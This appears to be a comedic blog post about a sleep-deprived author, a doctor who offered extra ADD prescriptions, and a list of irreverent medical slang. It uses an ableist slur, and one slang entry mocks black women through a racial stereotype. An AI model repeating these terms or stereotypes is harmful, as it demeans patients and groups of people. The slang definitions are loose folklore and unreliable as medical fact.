You know what the best part about all of this is?  I am making exactly none of it up.  Listen up, Jack Thompson, I think you're going after the wrong guy.  I'm a bit more concerned about board games than video games at this point.

People talking behind your back- your doctor

I'm not exactly big on going to see my doctor.  This is probably because I realize I take incredibly shitty care of my body.  I've just gone through a week where I might had actually been consuming under 1500 calories a day and had been sleeping 3 hours a night, on average.

My two main activities thus far have been working sitting down on a computer and doing my best zombie impression in front of a computer.  According to these energy drink cans and large Starbucks coffee cups littered around me, I've consumed enough caffeine to power a 5 year old for thirty seconds on the "birthday-party-with-cake-and-ice-cream-YAAAAAY!" setting.

I look like I lost a fight with someone who's opening move was to punch me in both eyes due to the ever darkening bags under them.  I get the feeling if my doctor were to see me right now, he'd shake his head disapprovingly, forever judging me as too retarded to own a body.

You're telling me you're dehydrated... because you forgot to drink anything all day?

There is the other small issue of the fact that I'm pretty sure my doctor wants to drug me and rape me.  Well, maybe not the rape, but he most assuredly wants to drug me.  I should probably explain.

A while ago (like 7-8 years ago?  I'm to sleep deprived to do math) I was diagnosed with ADD--- dude, check it out, shiny!  ooh.  Shiny.

Shiiiinnnny.

So, what were we talking about?  Ah.  ADD.  Right.  Well, there was a period of for or so years when I'd actually visit the doctor for my yearly checkups or however often you're supposed to go visit the doctor.  I did this because he controlled my med prescription, and I'd need to go to a check up to get a new prescription when I was running out of pills.

Damn, when I put it that way, I sound like a junkie.

At any rate, he'd always ask me if I wanted to up my dosage and/or take some extra "off the books" prescriptions just in case I ever needed them.  It does not help his case that this advice would always happen when it was just the pair of us in the examining room together.  That man wanted me hooked on Concerta like Trebek wants kids hooked on phonics.

So, I'm not exactly up to date with my checkups.  Well, I felt a sort of justification for this when I learned that doctors aren't always so hot on patients either.  Turns out all that scribbling and acronym use are just a doctor's way of calling you a drooling shithead to your face without you knowing.  Actually, the way they'd do it would be to diagnose you with Cranio-faecal Syndrome, which is a disease made up for the sole purpose of calling you a drooling shithead.

Some of the best ones have got to be:
DRTTTT - Dead Right There, There, There and There (patient dead and in multiple parts at scene of accident)

Gravity Assisted Concrete Poisoning - jumped/fell from height

Smurf Sign - patient blue or going blue

Solomf yoyo - So long, motherfucker, you're on your own   (Used when a patient is beyond the point of saving)

Tachylordyosis (with the junctional Jesus) - Usually a middle-aged to older black female American with a complaint of "lordy, lordy, lordy, lordy, lordy, lordy", occasionally with the interspersed "Jesus" i.e. "lordy, lordy, lordy, lordy, Jesus help me, lordy, lordy"

On second thought, I'm comforted by the fact that doctors have a good sense of humor.  Also, some of these acronyms are just touching, for example, being transferred to the ECU (Eternal Care Unit) means a patient has died.  Some of them are also terrifying (getting the "slow code" means that a patient is dying but no real attempt will be made to save them due to more pressing more curable concerns).

In truth, doctors have to deal with about 200% more death and bullshit than the rest of us.  They deserve their own language to help cope (and disguise unfortunate truths from over-emotional relatives).  So, it is also with some sadness that it seems like doctor slang is dying out due to fear that it'll come back in court to haunt them.


Don't be an asshole- keep doctor slang alive.  Even when it is used to tell you to fuck off (TTFO).